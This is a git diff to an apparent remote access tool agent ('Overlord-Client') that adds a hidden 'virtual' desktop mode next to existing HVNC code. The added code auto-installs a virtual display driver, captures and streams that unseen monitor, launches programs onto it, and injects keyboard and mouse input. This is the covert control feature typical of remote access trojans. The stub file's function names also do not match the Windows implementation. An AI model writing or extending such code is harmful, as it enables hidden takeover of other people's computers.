diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 44fd327..7090556 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -1608,6 +1608,175 @@ func NowHVNC(ctx context.Context, env *rt.Env) error { return captureAndSendHVNC(ctx, env) } +func NowVirtual(ctx context.Context, env *rt.Env) error { + if env.Cfg.DisableCapture { + return sendBlackFrameVirtual(ctx, env) + } + if VirtualMonitorCount() <= 0 { + return nil + } + return captureAndSendVirtual(ctx, env) +} + +func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { + defer func() { + if r := recover(); r != nil { + log.Printf("hidden capture: panic in captureAndSendVirtual: %v", r) + } + }() + + t0 := time.Now() + if frame, captureDur, encodeDur, used, err := VirtualTryDirectH264Frame(); used { + if err == nil { + if len(frame.Data) == 0 { + return nil + } + return virtualSendCompletedFrame(ctx, env, frame, t0, captureDur, encodeDur) + } + log.Printf("hidden capture: direct GPU path unavailable: %v", err) + } + + // Virtual mode is normal remote desktop restricted to one monitor. Start + // with that exact capture stack; specialized paths are fallbacks only. + img, err := VirtualCaptureNormal() + if err != nil { + img, err = VirtualCaptureDisplay() + if err != nil { + VirtualResetDXGI() + img, err = VirtualCaptureGDI() + if err != nil { + img, err = VirtualCaptureDisplayFallback() + } + } + } + if err != nil { + log.Printf("hidden capture: all capture methods failed: %v (sending black frame)", err) + return sendBlackFrameVirtual(ctx, env) + } + if img == nil { + log.Printf("hidden capture: capture returned nil image (sending black frame)") + return sendBlackFrameVirtual(ctx, env) + } + captureDur := time.Since(t0) + + willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) + var slotAcquired bool + if !willSendViaWebRTC && !AcquireFrameSlot() { + PutRGBA(img) + return nil + } + slotAcquired = !willSendViaWebRTC + + quality := jpegQuality() + frame, encodeDur, err := buildFrameHVNC(img, 0, quality) + PutRGBA(img) + img = nil + if err != nil { + if slotAcquired { + ReleaseFrameSlot() + } + return err + } + + now := time.Now() + fps := frameFPS(now) + if fps <= 0 { + fps = 1 + } + frame.Header.FPS = fps + + if ctx.Err() != nil { + if slotAcquired { + ReleaseFrameSlot() + } + return nil + } + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + dur := time.Second / time.Duration(fps) + if dur <= 0 { + dur = 33 * time.Millisecond + } + if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { + log.Printf("webrtc: write hidden h264 failed: %v", werr) + } + if slotAcquired { + ReleaseFrameSlot() + } + return nil + } + if !slotAcquired { + if !AcquireFrameSlot() { + return nil + } + slotAcquired = true + } + + sendStart := time.Now() + err = wire.WriteMsg(ctx, env.Conn, frame) + sendDur := time.Since(sendStart) + if err != nil { + ReleaseFrameSlot() + } + + if shouldLogFrame(now) { + total := time.Since(t0) + log.Printf("hidden capture: stream format=%s size=%d cap=%s enc=%s send=%s total=%s", + frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total) + } + + return err +} + +func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error { + now := time.Now() + fps := frameFPS(now) + if fps <= 0 { + fps = 1 + } + frame.Header.FPS = fps + if ctx.Err() != nil { + return nil + } + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + dur := time.Second / time.Duration(fps) + if dur <= 0 { + dur = 33 * time.Millisecond + } + if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { + log.Printf("webrtc: write hidden h264 failed: %v", werr) + } + return nil + } + if !AcquireFrameSlot() { + return nil + } + sendStart := time.Now() + err := wire.WriteMsg(ctx, env.Conn, frame) + sendDur := time.Since(sendStart) + ReleaseFrameSlot() + if shouldLogFrame(now) { + total := time.Since(t0) + log.Printf("hidden capture: direct h264 format=%s size=%d cap=%s enc=%s send=%s total=%s", + frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total) + } + return err +} + +func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error { + if ctx.Err() != nil { + return nil + } + + img := image.NewRGBA(image.Rect(0, 0, 64, 64)) + quality := 60 + frame, _, err := buildFrameHVNC(img, 0, quality) + if err != nil { + return err + } + frame.Header.FPS = 1 + return wire.WriteMsg(ctx, env.Conn, frame) +} + func supportsBackstageCapture() bool { count := HVNCMonitorCount() return count > 0 diff --git a/Overlord-Client/cmd/agent/capture/virtual_stub.go b/Overlord-Client/cmd/agent/capture/virtual_stub.go new file mode 100644 index 0000000..3d9ae42 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/virtual_stub.go @@ -0,0 +1,61 @@ +//go:build !windows + +package capture + +import "image" + +func InitializevirtualMode() error { + return nil +} + +func CleanupvirtualMode() {} + +func SetvirtualCursorCapture(enabled bool) {} + +func VirtualMonitorCount() int { + return 0 +} + +func virtualCaptureDisplay() (*image.RGBA, error) { + return nil, nil +} + +func virtualCaptureDisplayFallback() (*image.RGBA, error) { + return nil, nil +} + +func StartvirtualProcess(filePath string) (uint32, error) { + return 0, nil +} + +func virtualKillAll() error { + return nil +} + +func virtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { + return nil, nil +} + +func virtualInputMouseMove(x, y int32) error { + return nil +} + +func virtualInputMouseDown(button int) error { + return nil +} + +func virtualInputMouseUp(button int) error { + return nil +} + +func virtualInputKeyDown(vk uint16) error { + return nil +} + +func virtualInputKeyUp(vk uint16) error { + return nil +} + +func virtualInputMouseWheel(delta int32) error { + return nil +} diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go new file mode 100644 index 0000000..6480077 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go @@ -0,0 +1,2460 @@ +//go:build windows + +package capture + +import ( + "errors" + "fmt" + "image" + "log" + "math" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" + + "overlord-client/cmd/agent/webrtcpub" + "overlord-client/cmd/agent/wire" +) + +var ( + virtualMonitorName string + virtualMonitorBounds image.Rectangle + virtualMonitorIndex int + virtualInitialized bool + virtualMu sync.Mutex + + virtualCursorEnabled bool + virtualInputMu sync.Mutex + virtualLastCursor point + virtualHasCursor bool + virtualWorkingWindow uintptr + virtualShiftDown bool + virtualCtrlDown bool + virtualAltDown bool + virtualCapsLock bool + virtualMovingWindow bool + virtualMoveOffset point + virtualWindowSize point + virtualWindowToMove uintptr + virtualMouseButtons uint32 + virtualLastScale atomic.Uint64 + virtualResizingWindow uintptr + virtualResizeHit int32 + virtualResizeStart point + virtualResizeRect rect +) + +const ( + virtualDriverURLEnv = "OVERLORD_virtual_DRIVER_URL" + defaultDriverURL = "https://github.com/VirtualDrivers/Virtual-Display-Driver/releases/latest/download/Virtual-Display-Driver.zip" + virtualDriverDirName = "OverlordvirtualDriver" +) + +type virtualDuplicationState struct { + mu sync.Mutex + bounds image.Rectangle + outputName string + factory *idxgiFactory1 + adapter *idxgiAdapter1 + output *idxgiOutput + output1 *idxgiOutput1 + dup *idxgiOutputDuplication + device *d3d11Device + context *d3d11DeviceContext + staging *d3d11Texture2D + stagingDesc d3d11Texture2DDesc + h264LastTex *d3d11Texture2D + h264LastDesc d3d11Texture2DDesc + desc dxgiOutDuplDesc + lastBase *image.RGBA + lastFrame *image.RGBA + lastFrameAt time.Time + lastFail time.Time + createdAt time.Time +} + +var virtualDupState = &virtualDuplicationState{} + +func InitializeVirtualMode() error { + virtualMu.Lock() + defer virtualMu.Unlock() + + if virtualInitialized { + return nil + } + + monName, bounds, err := findVirtualMonitor() + if err != nil { + log.Printf("virtual: no virtual monitor found, attempting driver install: %v", err) + if installErr := installVirtualDriver(); installErr != nil { + return fmt.Errorf("virtual: failed to find or install virtual monitor driver: %v (install: %v)", err, installErr) + } + log.Printf("virtual: driver installed, re-detecting virtual monitor") + monName, bounds, err = findVirtualMonitor() + if err != nil { + return fmt.Errorf("virtual: virtual monitor not found after driver install: %v", err) + } + } + + virtualMonitorName = monName + virtualMonitorBounds = bounds + // The capture backends address displays by EnumDisplayMonitors order, not + // by DXGI adapter/output order. Resolve and retain that real index so virtual + // mode captures the target monitor through the normal desktop path. + ResetMonitorCache() + virtualMonitorIndex = -1 + for i, mon := range monitorList() { + if mon.rect.Eq(bounds) || (mon.name == monName && mon.rect.Dx() == bounds.Dx() && mon.rect.Dy() == bounds.Dy()) { + virtualMonitorIndex = i + break + } + } + if virtualMonitorIndex < 0 { + virtualInitialized = false + return fmt.Errorf("virtual: attached monitor %q bounds=%v is missing from desktop monitor enumeration", monName, bounds) + } + virtualInitialized = true + + log.Printf("virtual: initialized virtual monitor %q index=%d bounds=%v", monName, virtualMonitorIndex, bounds) + return nil +} + +func CleanupVirtualMode() { + virtualMu.Lock() + defer virtualMu.Unlock() + + virtualDupState.mu.Lock() + virtualDupState.close() + virtualDupState.mu.Unlock() + + virtualInputMu.Lock() + virtualShiftDown = false + virtualCtrlDown = false + virtualAltDown = false + virtualCapsLock = false + virtualMouseButtons = 0 + virtualHasCursor = false + virtualWorkingWindow = 0 + virtualInputMu.Unlock() + virtualLastScale.Store(0) + + virtualMonitorName = "" + virtualMonitorBounds = image.Rectangle{} + virtualMonitorIndex = -1 + virtualInitialized = false +} + +// VirtualCaptureNormal captures the virtual output through the exact backend +// used by ordinary remote desktop. This is important for indirect-display +// drivers which may expose a DXGI output but return an all-black duplication +// surface to a device created through a separate capture path. +func VirtualCaptureNormal() (*image.RGBA, error) { + virtualMu.Lock() + initialized := virtualInitialized + index := virtualMonitorIndex + bounds := virtualMonitorBounds + virtualMu.Unlock() + if !initialized || index < 0 { + return nil, errors.New("virtual capture: monitor is not initialized") + } + mons := monitorList() + if index >= len(mons) || !mons[index].rect.Eq(bounds) { + ResetMonitorCache() + mons = monitorList() + index = -1 + for i, mon := range mons { + if mon.rect.Eq(bounds) { + index = i + break + } + } + if index < 0 { + return nil, fmt.Errorf("virtual capture: monitor bounds %v disappeared", bounds) + } + virtualMu.Lock() + virtualMonitorIndex = index + virtualMu.Unlock() + } + return captureDisplayFn(index) +} + +func VirtualMonitorCount() int { + if !virtualInitialized { + return 0 + } + if virtualMonitorBounds.Dx() > 0 && virtualMonitorBounds.Dy() > 0 { + return 1 + } + return 0 +} + +var ( + virtualDXGIFactory *idxgiFactory1 + virtualDXGIDevice *d3d11Device + virtualDXGIContext *d3d11DeviceContext + virtualDXGIOutput1 *idxgiOutput1 + virtualDXGIDup *idxgiOutputDuplication + virtualDXGIDesc dxgiOutDuplDesc + virtualDXGIStaging *d3d11Texture2D + virtualDXGIStagingDesc d3d11Texture2DDesc + virtualDXGILastBase *image.RGBA + virtualDXGIMu sync.Mutex +) + +func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) { + if blockCodec() != "h264" { + return wire.Frame{}, 0, 0, false, nil + } + return virtualDupState.captureDirectH264() +} + +func (s *virtualDuplicationState) captureDirectH264() (wire.Frame, time.Duration, time.Duration, bool, error) { + capStart := time.Now() + s.mu.Lock() + defer s.mu.Unlock() + if err := s.ensure(); err != nil { + return wire.Frame{}, 0, 0, true, err + } + width := int(s.desc.ModeDesc.Width) + height := int(s.desc.ModeDesc.Height) + if width <= 0 || height <= 0 || width%2 != 0 || height%2 != 0 { + return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: invalid dimensions %dx%d", width, height) + } + if s.desc.Rotation != dxgiModeRotationIdentity && s.desc.Rotation != dxgiModeRotationUnspecified { + return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: non-identity rotation") + } + + var info dxgiOutDuplFrameInfo + var resource *iunknown + waitMs := uint32(5) + if s.h264LastTex != nil { + // Once a cached GPU frame exists, polling must be non-blocking. A fixed + // 5 ms duplication wait would cap a 120/240 FPS stream well below its + // requested cadence even though encoding takes under a millisecond. + waitMs = 0 + } + hr := s.dup.AcquireNextFrame(waitMs, &info, &resource) + if hr == dxgiErrorWaitTimeout { + if s.h264LastTex == nil { + return wire.Frame{}, time.Since(capStart), 0, true, nil + } + return s.encodeCachedDirectH264(capStart, width, height) + } + if hr != S_OK { + if hr == dxgiErrorAccessLost || hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset { + s.close() + } + return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: acquire frame 0x%x", hr) + } + if resource != nil { + defer resource.Release() + } + + var tex *d3d11Texture2D + hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex)) + if hr != S_OK || tex == nil { + _ = s.dup.ReleaseFrame() + return wire.Frame{}, 0, 0, true, fmt.Errorf("virtual h264: not ID3D11Texture2D 0x%x", hr) + } + defer tex.Release() + + var srcDesc d3d11Texture2DDesc + tex.GetDesc(&srcDesc) + if err := s.cacheDirectH264Texture(tex, srcDesc); err != nil { + _ = s.dup.ReleaseFrame() + return wire.Frame{}, time.Since(capStart), 0, true, err + } + _ = s.dup.ReleaseFrame() + return s.encodeCachedDirectH264(capStart, width, height) +} + +func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, width, height int) (wire.Frame, time.Duration, time.Duration, bool, error) { + fps := activeH264FPS() + encStart := time.Now() + out, _, err := encodeH264D3D11Texture(h264D3D11TextureRequest{ + Device: unsafe.Pointer(s.device), Texture: unsafe.Pointer(s.h264LastTex), + InputWidth: width, InputHeight: height, EncodeWidth: width, EncodeHeight: height, + FPS: fps, DXGIFormat: s.h264LastDesc.Format, ForceIDR: webrtcpub.ConsumeKeyframeRequest(), + }) + encodeDur := time.Since(encStart) + if err != nil { + return wire.Frame{}, time.Since(capStart), encodeDur, true, err + } + if len(out) == 0 { + return wire.Frame{}, time.Since(capStart), encodeDur, true, nil + } + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil +} + +func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error { + recreate := s.h264LastTex == nil || s.h264LastDesc.Width != srcDesc.Width || s.h264LastDesc.Height != srcDesc.Height || s.h264LastDesc.Format != srcDesc.Format + if recreate { + if s.h264LastTex != nil { + s.h264LastTex.Release() + s.h264LastTex = nil + } + desc := srcDesc + desc.MipLevels, desc.ArraySize = 1, 1 + desc.SampleDesc.Count, desc.SampleDesc.Quality = 1, 0 + desc.Usage, desc.BindFlags, desc.CPUAccessFlags, desc.MiscFlags = 0, 0, 0, 0 + if hr := s.device.CreateTexture2D(&desc, nil, &s.h264LastTex); hr != S_OK || s.h264LastTex == nil { + return fmt.Errorf("virtual h264: cache texture creation failed 0x%x", hr) + } + s.h264LastDesc = desc + } + s.context.CopyResource(s.h264LastTex, src) + return nil +} + +func VirtualCaptureDXGI() (*image.RGBA, error) { + virtualDXGIMu.Lock() + defer virtualDXGIMu.Unlock() + + if err := VirtualEnsureDXGI(); err != nil { + return nil, err + } + + var info dxgiOutDuplFrameInfo + var resource *iunknown + waitMs := uint32(5) + hr := uintptr(0) + for { + hr = virtualDXGIDup.AcquireNextFrame(waitMs, &info, &resource) + if hr != dxgiErrorWaitTimeout { + break + } + if virtualDXGILastBase != nil { + return cloneRGBA(virtualDXGILastBase), nil + } + if waitMs >= 50 { + return nil, errors.New("virtual dxgi: frame timeout") + } + waitMs = 50 + } + if hr == dxgiErrorAccessLost { + VirtualDestroyDXGI() + return nil, errors.New("virtual dxgi: access lost") + } + if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset { + VirtualDestroyDXGI() + return nil, fmt.Errorf("virtual dxgi: device lost 0x%x", hr) + } + if hr != S_OK { + return nil, fmt.Errorf("virtual dxgi: acquire frame failed 0x%x", hr) + } + if resource != nil { + defer resource.Release() + } + + width := int(virtualDXGIDesc.ModeDesc.Width) + height := int(virtualDXGIDesc.ModeDesc.Height) + if width <= 0 || height <= 0 { + _ = virtualDXGIDup.ReleaseFrame() + return nil, errors.New("virtual dxgi: invalid frame size") + } + + var img *image.RGBA + if virtualDXGIDesc.DesktopImageInSystemMemory != 0 { + var mapped dxgiMappedRect + hr = virtualDXGIDup.MapDesktopSurface(&mapped) + if hr != S_OK { + _ = virtualDXGIDup.ReleaseFrame() + return nil, fmt.Errorf("virtual dxgi: map failed 0x%x", hr) + } + dup := virtualDXGIDup + defer func() { + _ = dup.UnMapDesktopSurface() + _ = dup.ReleaseFrame() + }() + if mapped.Pitch <= 0 || mapped.Bits == nil { + return nil, errors.New("virtual dxgi: invalid mapped surface") + } + pitch := int(mapped.Pitch) + src := unsafe.Slice(mapped.Bits, pitch*height) + img = convertBGRA(src, pitch, width, height, virtualDXGIDesc.Rotation) + if img == nil { + return nil, errors.New("virtual dxgi: pixel conversion failed") + } + } else { + var tex *d3d11Texture2D + hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex)) + if hr != S_OK || tex == nil { + _ = virtualDXGIDup.ReleaseFrame() + return nil, fmt.Errorf("virtual dxgi: not texture 0x%x", hr) + } + defer tex.Release() + + var srcDesc d3d11Texture2DDesc + tex.GetDesc(&srcDesc) + if virtualDXGIStaging == nil || virtualDXGIStagingDesc.Width != srcDesc.Width || virtualDXGIStagingDesc.Height != srcDesc.Height || virtualDXGIStagingDesc.Format != srcDesc.Format { + if virtualDXGIStaging != nil { + virtualDXGIStaging.Release() + virtualDXGIStaging = nil + } + sd := srcDesc + sd.Usage = d3d11UsageStaging + sd.BindFlags = 0 + sd.CPUAccessFlags = d3d11CpuAccessRead + sd.MiscFlags = 0 + sd.MipLevels = 1 + sd.ArraySize = 1 + sd.SampleDesc.Count = 1 + sd.SampleDesc.Quality = 0 + var staging *d3d11Texture2D + hr = virtualDXGIDevice.CreateTexture2D(&sd, nil, &staging) + if hr != S_OK || staging == nil { + _ = virtualDXGIDup.ReleaseFrame() + return nil, fmt.Errorf("virtual dxgi: staging texture 0x%x", hr) + } + virtualDXGIStaging = staging + virtualDXGIStagingDesc = sd + } + virtualDXGIContext.CopyResource(virtualDXGIStaging, tex) + _ = virtualDXGIDup.ReleaseFrame() + + var mapped d3d11MappedSubresource + hr = virtualDXGIContext.Map(virtualDXGIStaging, 0, d3d11MapRead, 0, &mapped) + if hr != S_OK { + return nil, fmt.Errorf("virtual dxgi: map 0x%x", hr) + } + defer virtualDXGIContext.Unmap(virtualDXGIStaging, 0) + + pitch := int(mapped.RowPitch) + src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height)) + img = convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), virtualDXGIDesc.Rotation) + } + + if img != nil { + virtualDXGILastBase = cloneRGBA(img) + } + return img, nil +} + +func VirtualCaptureGDI() (*image.RGBA, error) { + virtualMu.Lock() + bounds := virtualMonitorBounds + virtualMu.Unlock() + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return nil, fmt.Errorf("virtual gdi: no virtual monitor bounds") + } + + monitors := monitorList() + for _, m := range monitors { + if m.rect.Min.X == bounds.Min.X && m.rect.Min.Y == bounds.Min.Y { + return captureVirtualGDIBlt(m) + } + } + return nil, fmt.Errorf("virtual gdi: virtual monitor not in monitor list") +} + +func captureVirtualGDIBlt(mon monitorDesc) (*image.RGBA, error) { + width := mon.rect.Dx() + height := mon.rect.Dy() + if width <= 0 || height <= 0 { + return nil, syscall.EINVAL + } + + hdcScreen := getDC(0) + if hdcScreen == 0 { + return nil, fmt.Errorf("gdi blt: getDC failed") + } + defer releaseDC(0, hdcScreen) + + hdcMem := createCompatibleDC(hdcScreen) + if hdcMem == 0 { + return nil, fmt.Errorf("gdi blt: createCompatibleDC failed") + } + defer deleteDC(hdcMem) + + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(width), + biHeight: -int32(height), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + var bits unsafe.Pointer + hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) + if hbmp == 0 || bits == nil { + return nil, fmt.Errorf("gdi blt: createDIBSection failed") + } + defer deleteObject(hbmp) + + selectObject(hdcMem, hbmp) + bitBlt(hdcMem, 0, 0, int32(width), int32(height), hdcScreen, int32(mon.rect.Min.X), int32(mon.rect.Min.Y), SRCCOPY) + + img := image.NewRGBA(image.Rect(0, 0, width, height)) + buf := unsafe.Slice((*byte)(bits), width*height*4) + copy(img.Pix, buf) + return img, nil +} + +func VirtualEnsureDXGI() error { + if virtualDXGIDup != nil { + return nil + } + VirtualDestroyDXGI() + + virtualMu.Lock() + bounds := virtualMonitorBounds + virtualMu.Unlock() + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return errors.New("virtual dxgi: no virtual monitor bounds") + } + + factory, err := createDXGIFactory1() + if err != nil { + return err + } + + var primaryAdapter *idxgiAdapter1 + hr := factory.EnumAdapters1(0, &primaryAdapter) + if hr != S_OK || primaryAdapter == nil { + factory.Release() + return fmt.Errorf("virtual dxgi: no primary adapter 0x%x", hr) + } + + device, context, err := createD3DDevice(primaryAdapter) + if err != nil { + primaryAdapter.Release() + factory.Release() + return fmt.Errorf("virtual dxgi: D3D device failed: %v", err) + } + + var targetOutput *idxgiOutput + var targetAdapter *idxgiAdapter1 + foundOutput := false + + for adapterIndex := 0; ; adapterIndex++ { + var adapter *idxgiAdapter1 + hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter) + if hr == dxgiErrorNotFound { + break + } + if hr != S_OK || adapter == nil { + continue + } + + for outputIndex := 0; ; outputIndex++ { + var output *idxgiOutput + hrOut := adapter.EnumOutputs(uint32(outputIndex), &output) + if hrOut == dxgiErrorNotFound { + break + } + if hrOut != S_OK || output == nil { + continue + } + + var desc dxgiOutputDesc + _ = output.GetDesc(&desc) + coords := image.Rect( + int(desc.DesktopCoordinates.left), + int(desc.DesktopCoordinates.top), + int(desc.DesktopCoordinates.right), + int(desc.DesktopCoordinates.bottom), + ) + + if coords.Dx() == bounds.Dx() && coords.Dy() == bounds.Dy() && + coords.Min.X == bounds.Min.X && coords.Min.Y == bounds.Min.Y && + desc.AttachedToDesktop != 0 { + targetOutput = output + targetAdapter = adapter + foundOutput = true + break + } + output.Release() + } + if foundOutput { + break + } + adapter.Release() + } + + if !foundOutput { + context.Release() + device.Release() + primaryAdapter.Release() + factory.Release() + return errors.New("virtual dxgi: virtual monitor output not found") + } + + var output1 *idxgiOutput1 + hr = (*iunknown)(unsafe.Pointer(targetOutput)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1)) + if hr != S_OK || output1 == nil { + targetAdapter.Release() + targetOutput.Release() + context.Release() + device.Release() + primaryAdapter.Release() + factory.Release() + return errors.New("virtual dxgi: IDXGIOutput1 query failed") + } + + var dup *idxgiOutputDuplication + hr = output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup) + if hr != S_OK || dup == nil { + output1.Release() + targetAdapter.Release() + targetOutput.Release() + context.Release() + device.Release() + primaryAdapter.Release() + factory.Release() + return fmt.Errorf("virtual dxgi: DuplicateOutput failed 0x%x (try GDI)", hr) + } + + var desc dxgiOutDuplDesc + _ = dup.GetDesc(&desc) + + targetAdapter.Release() + targetOutput.Release() + primaryAdapter.Release() + + virtualDXGIFactory = factory + virtualDXGIDevice = device + virtualDXGIContext = context + virtualDXGIOutput1 = output1 + virtualDXGIDup = dup + virtualDXGIDesc = desc + + if desc.DesktopImageInSystemMemory == 0 { + log.Printf("virtual: dxgi duplication initialized (staging readback) bounds=%v", bounds) + } else { + log.Printf("virtual: dxgi duplication initialized (system memory) bounds=%v", bounds) + } + return nil +} + +func VirtualResetDXGI() { + virtualDXGIMu.Lock() + VirtualDestroyDXGI() + virtualDXGIMu.Unlock() + virtualDupState.mu.Lock() + virtualDupState.close() + virtualDupState.mu.Unlock() +} + +func VirtualDestroyDXGI() { + if virtualDXGIDup != nil { + virtualDXGIDup.Release() + virtualDXGIDup = nil + } + if virtualDXGIStaging != nil { + virtualDXGIStaging.Release() + virtualDXGIStaging = nil + virtualDXGIStagingDesc = d3d11Texture2DDesc{} + } + if virtualDXGIOutput1 != nil { + virtualDXGIOutput1.Release() + virtualDXGIOutput1 = nil + } + if virtualDXGIContext != nil { + virtualDXGIContext.Release() + virtualDXGIContext = nil + } + if virtualDXGIDevice != nil { + virtualDXGIDevice.Release() + virtualDXGIDevice = nil + } + if virtualDXGIFactory != nil { + virtualDXGIFactory.Release() + virtualDXGIFactory = nil + } + virtualDXGIDesc = dxgiOutDuplDesc{} + PutRGBA(virtualDXGILastBase) + virtualDXGILastBase = nil +} + +func VirtualCaptureDisplay() (*image.RGBA, error) { + virtualMu.Lock() + if !virtualInitialized { + virtualMu.Unlock() + return nil, fmt.Errorf("virtual mode not initialized") + } + virtualMu.Unlock() + + return virtualDupState.capture() +} + +func StartVirtualProcess(filePath string) (uint32, error) { + virtualMu.Lock() + if !virtualInitialized { + virtualMu.Unlock() + return 0, fmt.Errorf("virtual mode not initialized") + } + bounds := virtualMonitorBounds + virtualMu.Unlock() + + if strings.TrimSpace(filePath) == "" { + return 0, errors.New("virtual: empty command line") + } + // Some launchers (notably explorer.exe and Chromium) hand the request to an + // existing process. Remember the current windows so placement can also find + // the newly-created top-level window when it is not owned by the returned PID. + baseline := virtualTopLevelWindowSet() + + cmdLine, err := syscall.UTF16FromString(filePath) + if err != nil { + return 0, fmt.Errorf("virtual: failed to convert command line: %v", err) + } + + var si startupInfo + var pi processInformation + si.cb = uint32(unsafe.Sizeof(si)) + si.dwX = uint32(bounds.Min.X) + si.dwY = uint32(bounds.Min.Y) + si.dwFlags = STARTF_USEPOSITION + creationFlags := uintptr(0) + if virtualCommandNeedsNewConsole(filePath) { + // Console hosts only consistently honor STARTF_USEPOSITION when Windows + // creates a fresh console. This places cmd/PowerShell on the virtual + // monitor before their first visible frame; the window mover remains a + // fallback for applications that override STARTUPINFO. + creationFlags = CREATE_NEW_CONSOLE + } + + ret, _, callErr := procCreateProcessW.Call( + 0, + uintptr(unsafe.Pointer(&cmdLine[0])), + 0, + 0, + 0, + creationFlags, + 0, + 0, + uintptr(unsafe.Pointer(&si)), + uintptr(unsafe.Pointer(&pi)), + ) + if ret == 0 { + if callErr != nil { + return 0, fmt.Errorf("virtual: CreateProcess failed: %v", callErr) + } + return 0, fmt.Errorf("virtual: CreateProcess failed") + } + + pid := pi.dwProcessId + log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid) + + go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline) + + if pi.hThread != 0 { + procCloseHandle.Call(pi.hThread) + } + if pi.hProcess != 0 { + procCloseHandle.Call(pi.hProcess) + } + + return pid, nil +} + +func virtualCommandNeedsNewConsole(commandLine string) bool { + s := strings.ToLower(strings.TrimSpace(commandLine)) + if strings.HasPrefix(s, `"`) { + s = strings.TrimPrefix(s, `"`) + } + first := s + if i := strings.IndexAny(first, " \t\""); i >= 0 { + first = first[:i] + } + first = strings.ToLower(filepath.Base(first)) + switch first { + case "cmd", "cmd.exe", "powershell", "powershell.exe", "pwsh", "pwsh.exe", "conhost", "conhost.exe": + return true + default: + return false + } +} + +func virtualTopLevelWindowSet() map[uintptr]struct{} { + result := make(map[uintptr]struct{}) + deskHwnd, _, _ := procGetDesktopWindow.Call() + for hwnd := getTopWindow(deskHwnd); hwnd != 0; hwnd = getWindow(hwnd, GW_HWNDNEXT) { + if isWindowVisible(hwnd) { + result[hwnd] = struct{}{} + } + } + return result +} + +func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}) { + hwndMap := make(map[uintptr]uint32) + + for attempt := 0; attempt < 75; attempt++ { + time.Sleep(200 * time.Millisecond) + + deskHwnd, _, _ := procGetDesktopWindow.Call() + hwnd := getTopWindow(deskHwnd) + if hwnd == 0 { + continue + } + + moved := 0 + for hwnd != 0 { + if !isWindowVisible(hwnd) { + hwnd = getWindow(hwnd, GW_HWNDNEXT) + continue + } + + var winPID uint32 + procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID))) + _, existedBeforeLaunch := baseline[hwnd] + if winPID != pid && existedBeforeLaunch { + hwnd = getWindow(hwnd, GW_HWNDNEXT) + continue + } + + if _, already := hwndMap[hwnd]; already { + hwnd = getWindow(hwnd, GW_HWNDNEXT) + continue + } + hwndMap[hwnd] = pid + + var r rect + procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) + winW := int(r.right - r.left) + winH := int(r.bottom - r.top) + if winW <= 0 || winH <= 0 { + hwnd = getWindow(hwnd, GW_HWNDNEXT) + continue + } + + newX := int32(bounds.Min.X) + newY := int32(bounds.Min.Y) + // Keep the whole window on the target display and allow Windows to + // apply the appropriate per-monitor DPI/non-client recalculation. + if winW > bounds.Dx() { + winW = bounds.Dx() + } + if winH > bounds.Dy() { + winH = bounds.Dy() + } + procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), 0x0040|0x0010) + + log.Printf("virtual: moved window hwnd=0x%x (pid=%d) to virtual monitor (%d,%d)", hwnd, pid, bounds.Min.X, bounds.Min.Y) + moved++ + break + } + + _ = moved // keep watching for child/handed-off windows after the first one + } +} + +func VirtualKillAll() error { + virtualMu.Lock() + bounds := virtualMonitorBounds + virtualMu.Unlock() + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return 